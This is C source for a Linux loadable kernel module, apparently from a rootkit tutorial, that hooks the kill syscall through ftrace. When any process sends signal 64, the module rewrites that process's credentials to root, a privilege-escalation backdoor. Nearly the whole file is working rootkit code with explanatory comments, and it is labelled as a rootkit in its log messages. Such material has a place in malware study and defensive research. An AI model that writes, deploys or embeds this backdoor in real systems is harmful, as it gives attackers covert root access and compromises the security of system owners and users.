#include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/syscalls.h> #include <linux/kallsyms.h> #include <linux/version.h> #include "ftrace_helper.h" MODULE_LICENSE("GPL"); MODULE_AUTHOR("TheXcellerator"); MODULE_DESCRIPTION("Giving root privileges to a process"); MODULE_VERSION("0.02"); /* After Kernel 4.17.0, the way that syscalls are handled changed * to use the pt_regs struct instead of the more familiar function * prototype declaration. We have to check for this, and set a * variable for later on */ #if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) #define PTREGS_SYSCALL_STUBS 1 #endif /* We now have to check for the PTREGS_SYSCALL_STUBS flag and * declare the orig_kill and hook_kill functions differently * depending on the kernel version. This is the largest barrier to * getting the rootkit to work on earlier kernel versions. The * more modern way is to use the pt_regs struct. */ #ifdef PTREGS_SYSCALL_STUBS static asmlinkage long (*orig_kill)(const struct pt_regs *); /* We can only modify our own privileges, and not that of another * process. Just have to wait for signal 64 (normally unused) * and then call the set_root() function. */ asmlinkage int hook_kill(const struct pt_regs *regs) { void set_root(void); // pid_t pid = regs->di; int sig = regs->si; if ( sig == 64 ) { printk(KERN_INFO "rootkit: giving root...\n"); set_root(); return 0; } return orig_kill(regs); } #else /* This is the old way of declaring a syscall hook */ static asmlinkage long (*orig_kill)(pid_t pid, int sig); static asmlinkage int hook_kill(pid_t pid, int sig) { void set_root(void); if ( sig == 64 ) { printk(KERN_INFO "rootkit: giving root...\n"); set_root(); return 0; } return orig_kill(pid, sig); } #endif /* Whatever calls this function will have it's creds struct replaced * with root's */ void set_root(void) { /* prepare_creds returns the current credentials of the process */ struct cred *root; root = prepare_creds(); if (root == NULL) return; /* Run through and set all the various *id's to 0 (root) */ root->uid.val = root->gid.val = 0; root->euid.val = root->egid.val = 0; root->suid.val = root->sgid.val = 0; root->fsuid.val = root->fsgid.val = 0; /* Set the cred struct that we've modified to that of the calling process */ commit_creds(root); } /* Declare the struct that ftrace needs to hook the syscall */ static struct ftrace_hook hooks[] = { HOOK("__x64_sys_kill", hook_kill, &orig_kill), }; /* Module initialization function */ static int __init rootkit_init(void) { /* Hook the syscall and print to the kernel buffer */ int err; err = fh_install_hooks(hooks, ARRAY_SIZE(hooks)); if(err) return err; printk(KERN_INFO "rootkit: Loaded >:-)\n"); return 0; } static void __exit rootkit_exit(void) { /* Unhook and restore the syscall and print to the kernel buffer */ fh_remove_hooks(hooks, ARRAY_SIZE(hooks)); printk(KERN_INFO "rootkit: Unloaded :-(\n"); } module_init(rootkit_init); module_exit(rootkit_exit);